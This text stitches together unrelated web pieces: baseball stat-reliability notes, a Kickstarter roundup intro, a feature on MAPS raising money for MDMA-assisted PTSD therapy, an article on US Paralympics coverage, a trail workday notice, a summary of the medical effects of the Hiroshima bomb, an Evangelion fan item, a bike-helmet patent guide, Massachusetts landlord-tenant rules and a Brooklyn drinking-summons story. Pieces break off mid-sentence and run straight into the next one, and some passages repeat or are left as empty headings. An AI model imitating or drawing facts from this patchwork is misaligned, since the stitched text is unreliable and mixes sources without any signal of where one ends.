It’s possible, I suppose, that LOB% is a skill but the true-talent level of individual players changes very quickly. But that seems unlikely. Truthfully, I’m not really sure what the explanation is.
Another interesting stat is wOBA on fly balls as compared to wOBA on ground balls:
Whereas the reliability coefficient for wOBA on fly balls is around 0.75 after 150 fly balls, it hovers at around 0.35 for ground balls. Other than a spike at 250 grounders which is probably due to a small sample and random variation, the reliability for wOBA on grounders is pretty low. This falls in line with what I found a few months ago about how fly-ball production is much more important than ground-ball production for batters. Unfortunately, the reliability is small for both grounders and fly balls when it comes to pitchers.
Speaking of balls in play for pitchers, I was surprised by how high the reliabilities for the Soft/Medium/Hard-hit% stats were. The aren’t quite as high as for batters, but it does provide some evidence to counter DIPS theory:
And, in the same vein, Statcast stats such as exit velocity are also fairly reliable for pitchers:
There are many more graphs, and all of them, the full output data, and the code can be found on my GitHub. Because the raw data comes directly from the FanGraphs database, I can’t share it with you, which means that the code might not be the easiest to reproduce. The raw data is simply a play-by-play list (or pitch-by-pitch, etc.); here’s a sample of the plate-appearance data:
Example Data batter pitcher Year K BB HBP OBP wOBA R ER FIP xFIP 457803 474699 2014 0 0 0 0 0 0 0 2.93 8.6661 425509 407793 2013 0 0 0 0 0 0 0 2.93 2.93 453568 421685 2015 0 0 0 0 0 0 0 2.93 2.93 461235 502272 2014 1 0 0 0 0 0 0 -7.19 -7.19 543829 523989 2015 0 0 0 0 0 0 0 2.93 9.81332 518960 502171 2014 1 0 0 0 0 0 0 -7.19 -7.19 519317 594835 2014 0 0 0 1 0.9 0 0 2.93 2.93 424325 502190 2015 0 0 0 0 0 0 0 2.93 2.93 425557 543779 2014 0 0 0 1 2 2 2 63.31 8.6661 460055 456501 2014 0 0 0 0 0 0 0 2.93 2.93
A few final notes:Every week we take a brief look at all of the Kickstarter campaigns that launched in the previous week. This isn’t to say that all of these projects are worth your hard earned cash, but with any luck having all of them in one place will make it easier to educate yourself on the projects you’d like to back, and which ones to run from. You’ll find two types of campaigns listed, “featured†and “the rest“. Featured campaigns are those that contain a significant amount of game information, are from known developers, or are significant in some other way. The rest of the games are usually smaller campaigns that are lacking in information, are from unknowns, have unanswered questions, or have not yet stood out for one reason or another.Three decades after MDMA's ban, recognition of its therapeutic value grows.
For a proper psychedelic trip, the late ethnobotanist Terence McKenna famously prescribed what he called 'the heroic dose' of magic mushrooms: 'Five dried grams and silent darkness.'
Josh Tiefer gobbled up a gram less, but on an empty stomach and a broken heart. Rather than darkness, he opted for a late-night showing of The Last Samurai.
He was 24 at the time, battling the depressive fallout of a breakup and newly obsessed with McKenna's gospel of chemically induced enlightenment. In the theater, the psilocybin began to cast its hallucinogenic spell.
'Something happened,' Tiefer recalls, 'because I was like, 'This movie's getting pretty good.''
Motion trails and vibrant colors overwhelmed his vision. But the euphoria gave way to a soul-chilling terror, a sense that some unfathomable force could delete his soul from the cosmic record—total erasure, a fate worse than death. Horrified, he shut his eyes and shrunk into his seat, crippled by the sense that, in some inexplicable way, everything hung in the balance.
Then it started to get really good.
'I had my beanie in my hand,' he says. 'You know, like my beanie hat, and suddenly everything was very, like, the essence of beanie. Like, you know, the way the actors were up on the screen, you know—the essence of beanie. The patterns of the beanie were shown to be evident in all things in the fucking world.'
In a flash to the present, he realized he'd been pressing into a stranger—a preternaturally patient stranger—in the next seat. Tiefer looked down to see that his feet had stretched a thousand miles underground 'like a bunch of roots and shit.' Then, his mind, forming what seemed like infinite synesthetic bonds between senses and worlds, sparked a revelation of the Buddhist precept of interconnectedness. Or, as Tiefer verbalized it, 'the universe is like one mush' and he was mushing into everyone and everything.
'Like, I'm a Siamese twin with this person over here,' he says, gesticulating with one hand while gripping a sketchpad in the other. 'But the way the actors were expressing themselves was also shown to be, like, this similar medium that was me, and all this other shit at the same time.'
When he summoned the wherewithal to open his eyes, he saw the movie screen swirling with watercolor-like canyons, vibrant greens and blues and shifting pixels, fractals and grids. The performative emotions of the Tom Cruise warrior epic struck open some untapped well of feeling. Once the credits began to roll, Tiefer's friends pried him from the chair and took him to Denny's, where he glutted and purged.
'Most things are disappointing, but this was the real deal,' says Tiefer, an artist by occupation who's 36 now and recounting his trip to a gathering of psychonauts and inquiring minds. 'I've been too chicken shit to do it ever since.'
His audience—a group of about 20 or so people seated around a fire pit on an assortment of mats, blankets, benches, chairs and pillows in a meadowy backyard—laughs and applauds at Tiefer's conclusion.
'I'll have what he's having,' a bespectacled university professor quips.
For Starters
Witching hour on a recent Sunday, and we're about four-and-a-half hours into a potluck raising money for a kilo of pure MDMA. Or as it's colloquially known, molly or ecstasy. There's an eclectic turnout of academics, ravers, techies, a white blazer-and-aviators-clad financial adviser, a toddler, artists, musicians and the husband-and-wife hosts Nadia, a Belarus transplant and therapist, and Dmitry V., an aspiring therapist and Russian émigré.
'It's great to have a whole night just devoted to psychedelics,' says Dmitry, whose gaunt frame and back-length hair make him look like a Byzantine icon. 'There needs to be a coming out in this community.'
Despite the talk of 'coming out' for the cause, though, few people want their full name publicly associated with the gathering and Dmitry preferred to whittle his surname down to its first-letter initial for this story. One attendee remarked on the dilemma of wanting to do her part to legitimize the psychedelic scene with her open support, but being afraid of the stigma associated with drugs as criminalized as cocaine.
Indeed, the federal powers that be regulate acid and psilocybin mushrooms as closely as crack and heroin. Yet psychedelics have outgrown their hippie-fringe roots to become, to some extent, part of the mainstream—particularly in Silicon Valley, where users typically lead otherwise straight lives. Government restrictions have started to ease up thanks to the work of advocates who defied the taboo and rebranded psychedelics as therapeutic. The late- April fundraiser marked one of hundreds around the globe to benefit the Santa Cruz-based Multidisciplinary Association for Psychedelic Studies—MAPS for short—an organization devoted to researching the medicinal value of psychedelic drugs and cannabis.
Their primary goal of these psychedelic dinners is to collect $400,000 to buy 2.2 pounds of pharmaceutical-grade MDMA as a potential legal treatment for post-traumatic stress disorder. MAPS spokesman Brad Burge says that's how much it costs for an entirely new supply approved by the U.S. Food and Drug Administration.
The California nonprofit has been using a batch of MDMA made in the 1980s by Purdue University chemist David Nichols. But regulators want to keep their eyes on the entire manufacturing process before it signs off on third-phase clinical trials for up to 400 patients. An estimated 5 million people suffer from PTSD, a condition triggered by rape, combat, natural disasters or serious accidents. Left untreated, it sends the afflicted into life-threatening depression and substance abuse. Antidepressants and antianxiety medication only treat symptoms, while traditional talk-therapy could take years to pinpoint root causes.
In the MAPS trials, patients take a carefully measured dram of MDMA and spend the day discussing their trauma with therapists. Psychotherapy in general and PTSD therapy in particular focus on exposing a patient to distressing thoughts to eventually desensitize them. MDMA's capacity to suspend a person's fight-or-flight instinct, which shifts into overdrive in people suffering from PTSD, allows them to face their traumatic memories until those thoughts lose the brunt of their power.
'The immediate effects of MDMA make people feel intimate, so there's that bonding, that connection,' Burge says. 'People tend to become more present, which lends itself well to therapy, of course.'
In his Pulitzer Prize-winning causa sui The Denial of Death, Ernest Becker points out that humanity goes to just about any length to avoid contemplating their own mortality. Life is fatal, but people forget. Trauma makes it impossible to deny. PTSD sufferers develop a heightened, crippling death-awareness.
Becker writes in his 1973 tome: 'The irony of man's condition is that the deepest need is to be free of the anxiety of death and annihilation; but it is life itself which awakens it, and so we must shrink from being fully alive.'
Yes, he derided psychedelic drugs as a Dionysian excess, bemoaning modern man for 'drinking and drugging himself out of awareness.' Ironically, though, MAPS has found that a certain strain of chemical fix can help confront rather than escape one of the greatest agonies of the human condition: consciousness of our inevitable demise.
'On some level, psychedelics push you to the brink of understanding that you're mortal,' one of the dinner guests, a San Jose musician, explained after a colorful telling of her most memorable, jarring psilocybin trips. 'You know? You're forced to confront those fears. A lot of people are wound really tight, or stuck to this world. Sometimes you have to force your way outside of yourself to realize that to be unafraid of death means accepting that they're part of nature and that there's a lot more possibility than you imagined.'
For anyone who finds it odd to see MDMA classified as a psychedelic, Burge explains that it's more an umbrella term than a scientific one. Think of it this way: all hallucinogens are psychedelic, but not all psychedelics have hallucinogenic effects. Consider MDMA a psychedelic as defined by Humphry Osmond, the mid-century British psychiatrist who coined the term for chemicals he considered'mind manifesting.'
'That's what we mean when we use the word,' Burge says. 'And it certainly applies to MDMA, which isn't really a hallucinogen but definitely has psychedelic, mind-manifesting, or mind-expanding impact.'
The first two rounds of clinical trials have gone exceptionally well, with success rates up to 83 percent, according to psychiatrists involved in the research. After a few rounds of MDMA-assisted psychotherapy, several patients who took part say their symptoms of trauma have all but vanished. Doctors hesitate to use the word 'cure,' but four years past the first double-blind trials, the results look promising.
'It took a lot of work on the part of MAPS to get to this point, to be on the brink of FDA approval,' Burge says. 'MDMA had been legal until 1985 and had been used in therapy. When it was criminalized, that put all the legal, above-ground therapeutic use to a stop. It also stopped major funding overnight. That probably set us back 30 years. There's a lot of catching up to do.'
continue to storyIt was just as well Josh Blue had a sense of humour because every time he returned to the US after touring abroad with the US Paralympic football team he would be greeted with blank stares. The parawhat?
The excitement of playing before cheering crowds in Europe and South America would dissolve in the indifference and ignorance of his home country. The striker and his disabled teammates would play domestic games in near-empty stadiums. "It'd be just our relatives." Even after competing in the 2004 Games in Athens, Blue, who has cerebral palsy, returned home to silence and shrugs. "Unfortunately it just doesn't get any play here."
A stand-up comedian, it was not until he won NBC's reality show, Last Comic Standing, in 2006 that the American public woke up to his talent, off the field at least.
Blue has a self-deprecating humour focused on living with disability which enchanted viewers and critics. A "palsy punch" was effective in a fight, he said, because "first of all, they don't know where the punch is coming from, and second of all, neither do I". There was little funny, however, about US ignorance of the Paralympics, a vacuum which left American competitors envious of the support disabled athletes enjoyed in other countries. "You'd hear about all these projects and think, wow, why aren't we doing that?" said Christine Tinberg, founder of Bicycling Blind Los Angeles, a group which matches blind people with sighted riders on tandems.
London's Games, however, may signal a turning of the tide. Companies like Visa and General Electric are featuring slick commercials with disabled athletes to endorse a range of products. Some disabled athletes are finding additional audiences through social media.
Disabled military veterans-turned Paralympians are tapping patriotic sentiment. NBC recently announced it would scale up coverage, previously virtually non-existent, to four hour-long programmes on NBC Sports plus a daily highlights package via the US Paralympics YouTube channel.That pales in comparison with Channel 4's Paralympic fest of an estimated 400 hours, or even the BBC's patchy coverage in 2008 when it showed daily highlights and live coverage at the weekend.
Nevertheless Sir Philip Craven, the International Paralympic Committee president, celebrated NBC's announcement. "It's tremendous news that the London 2012 Paralympic Games will get more airtime in the US then ever before and thoroughly deserved."
But why has the US been so resistant until now? And to what extent is it embracing the London Games?
Beth Haller, a professor of mass communication at Towson university who has written about disability issues, said apathy was largely the result of media neglect. Television networks shunned past Games, she said, leaving viewers unaware there even was a competition for disabled athletes after the regular Olympics. "Much of it boils down to the economic structure of our media. It concentrates on what will make money, and it thinks the Paralympics won't do that."
A student who analysed the 2002 Salt Lake City winter Paralympics discovered US journalists scrambling for the airport once the regular Games ended while many foreign journalists stayed on for the Paralympics.
Another reason for apathy, said Haller, was that US medal success in the Olympic Games sated national pride, unlike some smaller countries which viewed the Paralympics as an opportunity for consolation medals. Even so, the US amassed 99 medals in Beijing, coming third overall.
US awareness has been negligible even among the disabled. Growing up in Minnesota, Blue, a talented footballer from an early age, did not hear about the Paralympics until the age of 22 when a sports-loving disabled friend said: "You know there's a team for you, right?"
Soon after Blue was scoring goals for the Paralympic squad, but it rankled that he could have been doing so years earlier. "Elsewhere, especially Europe, there's much greater awareness and respect." A glimpse of disabled elite athletes in action, he said, was usually enough to hook fans. "Have you seen a wheelchair basketball game? They kill each other out there."
Tinberg, who recruits braille students for her bicycling group, said many initially gasped at the idea of becoming athletes. "They've never heard of it. They're like, cycling blind, really? How does it work?"
After awareness, the biggest problem was lack of resources. "Most blind people are unemployed and bikes are expensive."
Disabled war veterans have given the media a new reason to cover the world's second biggest sporting event – an event founded in 1948 to help rehabilitate injured British veterans. Of the US delegation 20 are veterans, of which six were injured in combat.
"The veterans are having a huge impact. It pulls people's hearts. And the government is putting a lot of money into sports facilities for them," said Tinberg. Last week she was seeking a sighted rider to team up with a recently blinded 21-year-old female soldier.
Push Girls, a reality television show following the lives of four glamorous LA women in wheelchairs, has helped nudge disability issues towards the cultural mainstream.
"Things are changing. I see a lot more awareness," said Kenneth Riptoe, executive director of One with Water, a swimming club associated with the Paralympic movement.Most agree. The US Olympic Committee said NBC's expanded coverage meant Americans would see more of the Games than ever before.
In a statement NBC, which did not respond to interview requests for this article, said it would conclude coverage with a 90-minute special show on September 16, a week after the Games end.
That did little to appease critics who said it was all still too little. "Hey, NBC found a whole 90 minutes for the Paralympics! In the middle of the afternoon! A week after it's over! Woo hoo!" wrote one blogger.
Blue, who is no longer on the US Paralympic squad, said he will follow his beloved football team from afar. Their first game is against Ukraine, a powerhouse ranked third in the world. "But they're getting old. We think we can take them."Come help work on the 6-mile XC Tamarancho trail loop following a very wet winter!
This is a half work/half fun trail event for the best singletrack in Marin County. Your efforts will maintain these trails for another season of riding and racing, so please give back to the community!
MCBC is partnering with the Friends of Tamarancho to recruit an army of trail volunteers to help with treadwork, brushing and other maintenance issues.
WHAT: Trail day to prep XC trails
WHERE: Camp Tamarancho (meet at top of Iron Springs Road at the ranger house)
WHEN: Saturday, May 6, 2017 from 10:00 am to 1:00 pm
BRING: Work clothes including gloves and boots and water
PROVIDED: Tools, snacks and expert guidance
Lunch provided by MCBC and Good Earth Natural Foods.
See you there!The medical effects of the atomic bomb on Hiroshima upon humans can be put into the four categories below, with the effects of larger thermonuclear weapons producing blast and thermal effects so large that there would be a negligible number of survivors close enough to the center of the blast who would experience prompt/acute radiation effects, which were observed after the 16 kiloton yield Hiroshima bomb, due to its relatively low yield:[1][2]
Initial stage—the first 1–9 weeks, in which are the greatest number of deaths, with 90% due to thermal injury and/or blast effects and 10% due to super-lethal radiation exposure.
Intermediate stage—from 10–12 weeks. The deaths in this period are from ionizing radiation in the median lethal range - LD50
Late period—lasting from 13–20 weeks. This period has some improvement in survivors' condition.
Delayed period—from 20+ weeks. Characterized by numerous complications, mostly related to healing of thermal and mechanical injuries, and if the individual was exposed to a few hundred to a thousand Millisieverts of radiation, it is coupled with infertility, sub-fertility and blood disorders. Furthermore, ionizing radiation above a dose of around 50-100 Millisievert exposure has been shown to statistically begin increasing a person's chance of dying of cancer sometime in their lifetime over the normal unexposed rate of c. 25%, in the long term, a heightened rate of cancer, proportional to the dose received, would begin to be observed after c. 5+ years, with lesser problems such as eye cataracts and other more minor effects in other organs and tissue also being observed over the long term.
Depending on whether individuals further afield shelter in place or evacuate perpendicular to the direction of the wind, and therefore avoid contact with the fallout plume, and stay there for the days and weeks after the nuclear explosion, their exposure to fallout, and therefore their total dose, will vary. With those who do shelter in place, and or evacuate, experiencing a total dose that would be negligible in comparison to someone who just went about their life as normal.[3][4]
Staying indoors until after the most hazardous fallout isotope, I-131 decays away to 0.1% of its initial quantity after ten half-lives – which is represented by 80 days in the care of I-131 case, would make the difference between likely contracting thyroid cancer or escaping completely from this substance depending on the actions of the individual.[citation needed]
Some scientists estimate that if there were a nuclear war resulting in 100 Hiroshima-size nuclear explosions on cities, it could cause significant loss of life in the tens of millions from long term climatic effects alone. The climatology hypothesis is that if each city firestorms, a great deal of soot could be thrown up into the atmosphere which could blanket the earth, cutting out sunlight for years on end, causing the disruption of food chains, in what is termed a nuclear winter scenario.[5][6]
Blast effects — the initial stage [ edit ]
Immediate post-attack period [ edit ]
Melted and fused pieces of metal (including coins that were in people's pockets) from the Atomic bombings of Japan. The melting of metal like this occurred during the ensuing fires and firestorms, long after the bombs had exploded.
The main causes of death and disablement in this state are thermal burns and the failure of structures resulting from the blast effect. Injury from the pressure wave is minimal in contrast because the human body can survive up to 2 bar (30 psi) while most buildings can only withstand a 0.8 bar (12 psi) blast. Therefore, the fate of humans is closely related to the survival of the buildings around them.[7]
Fate within certain peak overpressure [ edit ]
over 0.8 bar (12 psi) - 98% dead, 2% injured
0.3 - 0.8 bar (5-12 psi) - 50% dead, 40% injured, 10% safe
0.14 - 0.3 bar (2-5 psi) - 5% dead, 45% injured, 50% safe[7]
Types of radioactive exposure after a nuclear attack [ edit ]
Japanese woman (one of the Hiroshima Maidens ) suffering burns from thermal radiation after the United States dropped nuclear bombs on Japan.
In a nuclear explosion the human body can be irradiated by at least three processes. The first, and most major, cause of burns is due to thermal radiation and not caused by ionizing radiation.
Thermal burns from infrared heat radiation, these would be the most common burn type experienced by personnel.
If people come in direct contact with fallout, beta burns from shallow ionizing beta radiation will be experienced, the largest particles (visible to the naked eye) in local fallout would be likely to have very high radioactivity because they would be deposited so soon after detonation; this fraction of the total fallout is called the prompt or local fallout fraction. It is likely that one such particle upon the skin would be able to cause a localized beta burn. This local fallout, termed Bikini snow after the Pacific island weapon tests, [8] was experienced by the crew on the deck of the Lucky Dragon fishing ship following the explosion of the 15 megaton Shrimp device in the Castle Bravo event. However, these particular decay particles (beta particles) are very weakly penetrating and have a short range, requiring almost direct contact between fallout and personnel to be harmful.
after the Pacific island weapon tests, was experienced by the crew on the deck of the fishing ship following the explosion of the 15 megaton device in the Castle Bravo event. However, these particular decay particles (beta particles) are very weakly penetrating and have a short range, requiring almost direct contact between fallout and personnel to be harmful. Rarer still would be personnel who experience radiation burns from highly penetrating gamma radiation. This would likely cause deep gamma penetration within the body, which would result in uniform whole body irradiation rather than only a surface burn. In cases of whole body gamma irradiation (c. 10 Gy) due to accidents involving medical product irradiators, some of the human subjects have developed injuries to their skin between the time of irradiation and death.
In the picture above, the normal clothing (a kimono) that the woman was wearing attenuated the far reaching thermal radiation; the kimono, however, would naturally have been unable to attenuate any gamma radiation, if she were close enough to the weapon to have experienced any, and it would be likely that any such penetrating radiation effect would be evenly applied to her entire body. Beta burns would likely be all over the body if there was contact with fallout after the explosion, unlike thermal burns, which are only ever on one side of the body, as heat radiation infrared naturally does not penetrate the human body. In addition, the pattern on her clothing has been burnt into the skin by the thermal radiation. This is because white fabric reflects more visible and infrared light than dark fabric. As a result, the skin underneath dark fabric is burned more than the skin covered by white clothing.
There is also the risk of internal radiation poisoning by ingestion of fallout particles, if one is in a fallout zone.
Radiation poisoning [ edit ]
Radiation poisoning, also called "radiation sickness" or a "creeping dose", is a form of damage to organ tissue due to excessive exposure to ionizing radiation. The term is generally used to refer to acute problems caused by a large dosage of radiation in a short period, though this also has occurred with long-term exposure to low-level radiation. Many of the symptoms of radiation poisoning occur as ionizing radiation interferes with cell division. There are numerous lethal radiation syndromes, including prodromal syndrome, bone marrow death, central nervous system death and gastrointestinal death.[9]
Prodromal syndrome [ edit ]
The “prodromal syndrome” is not a diagnosis, but the technical term used by health professionals to describe a specific group of symptoms that may precede the onset of an illness. For example, a fever is “prodromal” to measles, which means that a fever may be a risk factor for developing this illness.
Bone marrow death [ edit ]
Bone marrow death is caused by a dose of radiation between 2 and 10 Gray and is characterized by the part of the bone marrow that makes the blood being broken down. Therefore, production of red and white blood cells and platelets is stopped due to loss of the blood-making stem cells (4.5 Gray kills 95% of stem cells). The loss of platelets greatly increases the chance of fatal hemorrhage, while the lack of white blood cells causes infections; the fall in red blood cells is minimal, and only causes mild anemia.[9]
The exposure to 4.5 Gray of penetrating gamma rays has many effects that occur at different times:
In 24 hours:[9]
These will usually abate after 6–7 days.
Within 3–4 weeks there is a period of extreme illness.[9]
severe bloody diarrhea, indicating intestinal disorders causing fluid imbalance
extensive internal bleeding
septicemia infections
The peak incidence of acute BM death corresponds to the 30-day nadir in blood cell numbers. The number of deaths then falls progressively until it reaches 0 at 60 days after irradiation. The amount of radiation greatly affects the probability of death. For example, over the range of 2 to 6 Gray the probability of death in untreated adults goes from about 1% to 99%, but these figures are for healthy adults. Therefore, results may differ, because of the thermal and mechanical injuries and infectious conditions.[9]
Gastrointestinal death [ edit ]
Gastrointestinal death is caused by a dose of radiation between 10 and 50 Gray. Whole body doses cause damage to epithelial cells lining the gastrointestinal tract and this combined with the bone marrow damage is fatal. All symptoms become increasingly severe, causing exhaustion and emaciation in a few days and death within 7–14 days from loss of water and electrolytes.[9]
The symptoms of gastrointestinal death are:[9]
gastrointestinal pain
anorexia
nausea
vomiting
diarrhea
Central nervous system death [ edit ]
Central nervous system death is the main cause of death in 24–48 hours among those exposed to 50 Gray.[9]
The symptoms are:[9]
Short-term effects (6–8 weeks) [ edit ]
Skin [ edit ]
The skin is susceptible to beta-emitting radioactive fallout. The principal site of damage is the germinal layer, and often the initial response is erythema (reddening) due to blood vessels congestion and edema. Erythema lasting more than 10 days occurs in 50% of people exposed to 5-6 Gray.[9]
Other effects with exposure include:[9]
2–3 Gray—temporary hair loss
7 Gray—permanent epilation occurs
10 Gray—itching and flaking occurs
10–20 Gray—weeping blistering and ulceration will occur
Lungs [ edit ]
The lungs are the most radiosensitive organ, and radiation pneumonitis can occur leading to pulmonary insufficiency and death (100% after exposure to 50 Gray of radiation), in a few months.
Radiation pneumonitis is characterized by:[9]
Loss of epithelial cells
Edema
Inflammation
Occlusions of airways, air sacs and blood vessels
Fibrosis
Ovaries |
is not the official date that the episode takes place. King Records stated that "[Ogata-san's] remark was simply an unofficial liberty she took as a performer."
"Looks like 'Angel Attack' happens on June 22 2015! Come, Sachiel!"
Unfortunately, the statement wasn't made before the internet had a ball celebrating the coming of the first Angel, Sachiel. Pictured above is a Twitter artist's depiction of Sachiel lounging the night before its attack, with a baseball game and some reading.
Unit-01: "Is the first Angel really coming tomorrow?"
Even Eva Unit-01 took some time to relax with some television before fighting Sachiel, according to Twitter user suekichii.
"The Angel arriving in Hakone"
One Twitter artist "took" a photo of a Hakone area with Sachiel already on the move and the military ready in response to its attack.
"Is the angel really coming today...?"
Sanrio egg mascot Gudetama even chimed in on the alleged event while cowering under the flimsy yolk he calls an AT field, a barrier used in the show.
Neon Genesis Evangelion is considered an anime classic, spawning an equally-famous film called End of Evangelion and a series of film retellings known as Rebuild of Evangelion. Its fourth and final film, Evangelion: Final, has no official release date as of yet.
[Via Kai-You]Patents are an authority or license that enables the owner to exclude others from replicating the invention. Patents are important in the current world since they allow renovation while protecting them from infringement.
The patent being filed could cover one country or more. The application is usually made at the patent office which has the jurisdiction to grant a patent the designated geographical area. If the specifications are met as required by the laws governing the office, a patent is usually granted for the invention. The act of negotiating with the patent office for the grant of a patent is called patent prosecution. Note it should not be confused with patent litigation which involves legal proceedings for infringement of a patent after it is already granted.
In this case, we check the process of patenting a bike helmet. We all have come across bike riders on the roads or in the neighborhood wearing a foldable helmetwhich is meant for minimization of the effects in case of accidents or falls. They are quite many types in the market, and if you walk to your local store or supermarket, there is a good chance of finding such They are also available in online stores like Amazon, Jumia. Most of them look fancy with good designs, but what are they made of exactly? Well most of them are made using composite hard shells, with layers of fiberglass or even Kevlar fiber laid up in epoxy. The inside is usually soft foams that offer protection for the head while on the outside a hard plastic. Another common characteristic is that they have air circulation inside so as to prevent heat buildup unless of course, it is very cold.
Disadvantages include.
Hindering the riders vision which is risky (depends with the design though). Some people argue that in most accidents the head is not much affected compared to the rest of the body. Unfortunately, there is no solution to this However, we can advise you to be very keen and avoid over speeding literally.
So assuming you have a nice design of your own helmet and you would like to file a patent but do not know what to do you are in the right place. It could feature new technology not currently implemented, who knows. So the initial and important step is to choose the right patent. There are various types of patents such as utility patents meant for new or useful inventions, provisional patents which secure temporary patent status (usually one year) and design patent which secures an ornamental design. After that initial stage carry out the following steps
Stages in patenting
Step 1: Document the two stages of the invention which are; conceiving the idea (the helmet in our case) and development of the idea. Document each stage. Explain how your new helmet will do what it is supposed to do clearly. Keep all documents safely as it is better than having nothing to show for it
Step 2: Keep your idea as confidential as possible. Unless you want someone to steal your hard thought ideas for their own merit, it happens.
Step 3: Conduct a patent search just in case. Someone could have had a similar idea as you earlier and decided to publish it
Step 4: Find a patent office and make an application. Be sure to make no mistakes as it could be costly. The process involves legal minds. You could do it yourself or hire an attorney to do it for you though it may be costly. However, you will lose the benefit of having an experienced lawyer help. Choose wisely depending on the situation.
Step 5: Note that patents are expensive and you might want to make returns of the investment. Talk with investors worth your time.
Tip: Even if your investor turned you down you would have valuable information concerning what your patent is worth and what is next.This article summarizes some key Massachusetts landlord-tenant laws applicable to residential rental units.
The Official State Statutes and other reputable municipal sources were used to research this information. All sources are cited appropriately.
With that said, landlord-tenant laws are always changing, and may even vary from county to county. You have a responsibility to perform your own research and cautiously apply the laws to your unique situation.
If you have a legal question or concern, I only recommend contacting a licensed attorney referral service that is operated by the state bar association.
Official Rules and Regulations
Security Deposit:
Lease, Rent & Fees:
Notices and Entry:
Disclosures and Miscellaneous Notes:
Landlord Responsibilities: (handbook) Water: The landlord must provide the means for enough water and pressure to satisfy ordinary needs. Landlord also must provide the means to heat the water to 110F-130F degrees. Tenant may be responsible for the cost of water and fuel to heat it. Heat: From September 16 to June 14, every room must be heated to at least 68º F between 7:00 AM and 11 PM, and at least 64º F at all other hours. Tenant may be responsible for the fuel/electricity to heat the unit. Kitchen: The landlord must provide within the kitchen: a sink of sufficient size and capacity for washing dishes and kitchen utensils, a stove and oven in good repair (unless your written lease requires you to provide your own), and space and proper facilities for the installation of a refrigerator. The landlord does not have to provide a refrigerator. If a refrigerator is provided, however, the landlord must keep it in working order. Cockroaches and Rodents: The landlord must maintain the unit free from rodents, cockroaches, and insect infestation, if there are two or more apartments in the building.
(handbook) Name and Addresses: Landlord must disclose the name and address of the property owner, anyone authorized to manage the property, amount of security deposit, and the tenant’s security deposit rights. (handbook)
Landlord must disclose the name and address of the property owner, anyone authorized to manage the property, amount of security deposit, and the tenant’s security deposit rights. (handbook) Disclosure of Insurance: Within 15 days of request by a tenant or government official, the landlord must provide the name of the property insurance company, the amount of insurance, and the name of any person who would receive payment for a loss covered by such insurance. Violation of this shall be punishable by a fine not more than $500. (MGL c.186 § 21)
Within 15 days of request by a tenant or government official, the landlord must provide the name of the property insurance company, the amount of insurance, and the name of any person who would receive payment for a loss covered by such insurance. Violation of this shall be punishable by a fine not more than $500. (MGL c.186 § 21) Domestic Violence Situations: Proof of Status: Landlord is entitled to verify claim of Domestic Violence status. (MGL c.186 § 24(a)) Termination of Lease: A tenant is allowed to terminate a lease with proof of Domestic Violence status, however the request to terminate must happen within 3 months from the incident date. (MGL c.186 § 24(b)) Landlord Cannot Terminate Lease: A landlord may not refuse to enter into a rental agreement based on the tenant’s or applicant’s or a household member’s status as a victim of domestic violence, or having previously terminated a lease or requested a lock change due to domestic violence. (MGL c.186 § 25) Locks: Upon request, the landlord must change the locks or allow the tenant to change the locks to the dwelling at the tenant’s expense. (MGL c.186 § 26)
Retaliation: Landlord must not terminate a lease, refuse to renew a lease, or raise the rent to a tenant who has, exercised a legal right, filed an official complaint to a Government Authority, has been involved in a tenant’s organization, or has withheld rent for poor condition. Retaliation will be assumed if landlord responds negatively within 6 months of tenants action. (MGL c.186 § 18, MGL c.239 § 2A)
Landlord must not terminate a lease, refuse to renew a lease, or raise the rent to a tenant who has, exercised a legal right, filed an official complaint to a Government Authority, has been involved in a tenant’s organization, or has withheld rent for poor condition. Retaliation will be assumed if landlord responds negatively within 6 months of tenants action. (MGL c.186 § 18, MGL c.239 § 2A) Lead Disclosure: Landlords must disclose all known lead paint hazards. Landlords must also provide tenants, as an attachment to a written lease, with an information pamphlet on Lead-based paint hazards.
Landlords must disclose all known lead paint hazards. Landlords must also provide tenants, as an attachment to a written lease, with an information pamphlet on Lead-based paint hazards. Children: Landlord may not prohibit or restrict the occupancy of children. (MGL c.186 § 16)
Court & Legal Related:
Business Licenses:
Business License Required: No state-wide statute, but local cities and counties may have regulations and requirements. Check with your local governing authority.
Get Help
Housing Discrimination:
Massachusetts Commission Against Discrimination
(617) 994-6000
Massachusetts Commission Against Discrimination (617) 994-6000 Licensing of Real Estate Brokers/Salespersons:
Division of Registration
Information: Real Estate Board (617) 727-2373
Complaints: Office of Investigations (617) 727-7406
Division of Registration Information: Real Estate Board (617) 727-2373 Complaints: Office of Investigations (617) 727-7406 Lead Paint Removal:
Department of Public Health
Childhood Lead Poisoning Prevention Program
(617) 624-5757; Toll Free: (800) 532-9571
Department of Public Health Childhood Lead Poisoning Prevention Program (617) 624-5757; Toll Free: (800) 532-9571 Face-to-Face Mediation:
For the program in your area call:
Attorney General’s Consumer Hotline
617-727-8400; www.mass.gov/ago
For the program in your area call: Attorney General’s Consumer Hotline Housing Consumer Education Cent er:
(800) 224-5124; www.masshousinginfo.org
er: (800) 224-5124; www.masshousinginfo.org To Obtain Legal Assistance:
Massachusetts Bar Association Lawyer Referral Program
(617) 654-0400; Toll Free in MA: (800) 392-6164
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As they often do, Andrew Rausa and a few friends spent the evening of July 4 lounging barefoot on the front stoop of a friend’s brownstone home in Brooklyn and enjoying a few beers. Escaping the indoor heat, Mr. Rausa and two friends sipped cans of Brooklyn Summer Ale; his girlfriend held an unopened bottle of a blueberry ale.
When an unmarked police car pulled up and two officers got out, Mr. Rausa and his friends worried that the charcoal grill that was set up nearby had gotten them in trouble.
“You’re all getting summonses for drinking in public,” Mr. Rausa recalls one of the officers announcing from the other side of the wrought-iron gate in front of the brownstone, on Douglass Street in Boerum Hill.
“We were all kind of stunned for a second,” Mr. Rausa said in an interview on Tuesday. “It happened over the gate. It was a very tangible physical divide — when they said the words ‘public property,’ it just didn’t make any sense.”
Besides, Mr. Rausa said, a fifth person on the stoop who received a summons wasn’t drinking alcohol at all. She was holding a red plastic cup filled with soda.
Meanwhile, Mr. Rausa, who will enter his third year at Brooklyn Law School this fall, had pulled out his iPhone to study the New York administrative code, which defines a public place as one “to which the public or a substantial group of persons has access, including, but not limited to,” a park, sidewalk or beach. Exceptions include drinking at a block party or “similar function for which a permit has been obtained” or places with liquor licenses.
Holding his phone, Mr. Rausa approached the officer, who had returned to his car, and said that because he was sitting on a private stoop behind a gate, he was not breaking the law.
“I don’t care what the law says, you’re getting a summons,” the officer said before rolling up his window, according to Mr. Rausa.
At first, the group planned to simply pay the $25 fines. But they decided otherwise when they realized that the summonses, though relatively low-level violations, would become blemishes on their personal records.
